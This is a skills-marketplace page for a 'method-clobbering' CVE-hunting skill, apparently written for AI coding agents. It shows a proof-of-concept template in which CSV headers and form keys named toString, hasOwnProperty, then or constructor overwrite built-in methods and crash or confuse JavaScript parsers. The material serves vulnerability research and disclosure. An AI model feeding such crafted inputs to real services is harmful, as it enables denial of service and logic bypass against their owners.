Skip to content

ajtazer/heckit / skills/cve-hunting/method-clobbering

method-clobbering

Verified

Detect method clobbering via user-controlled object keys that overwrite built-in methods like toString, valueOf, or hasOwnProperty, causing crashes or logic bypass.

FileKindSize
SKILL.mdskill md3.7 KB
references/false-positive-indicators.mdmarkdown1.1 KB
references/poc-skeleton.mdmarkdown1.4 KB
references/sinks.mdmarkdown1.3 KB

references/poc-skeleton.md

View on GitHub
# PoC Skeleton -- Method Clobbering

## CSV Header Clobbering

```js
/**
 * CVE-CANDIDATE: Method Clobbering via CSV Headers in [package]
 * CWE: CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes)
 * CVSS: 7.5 HIGH
 */
const { parse } = require('[package-name]');

// CSV with malicious header names
const csv = `toString,valueOf,hasOwnProperty
1,2,3`;

const result = parse(csv, { columns: true });
const row = result[0];

// Demonstrate crash
try {
  row.toString();  // TypeError: row.toString is not a function
} catch (e) {
  console.log('[+] toString clobbered:', e.message);
}

try {
  JSON.stringify(row);  // May fail if toJSON is clobbered
} catch (e) {
  console.log('[+] JSON.stringify crash:', e.message);
}

try {
  row.hasOwnProperty('toString');  // TypeError
} catch (e) {
  console.log('[+] hasOwnProperty clobbered:', e.message);
}
```

## Thenable Confusion

```js
const csv = `then,catch
function(){return process},1`;

const result = parse(csv, { columns: true });
const row = result[0];

// If code does: await Promise.resolve(row)
// It will call row.then(), which is now a string value
// This causes unexpected behavior or TypeError
```

## Form Data Clobbering

```js
const formData = {
  'toString': 'not-a-function',
  'constructor': 'overwritten'
};

// Parser creates: { toString: 'not-a-function', constructor: 'overwritten' }
// Any code calling obj.toString() on this will crash
```
slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack."Stars: 198kUpdated Claude CodeCodexVerifiedInstall
ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt.Stars: 194kUpdated Claude CodeCodexVerifiedInstall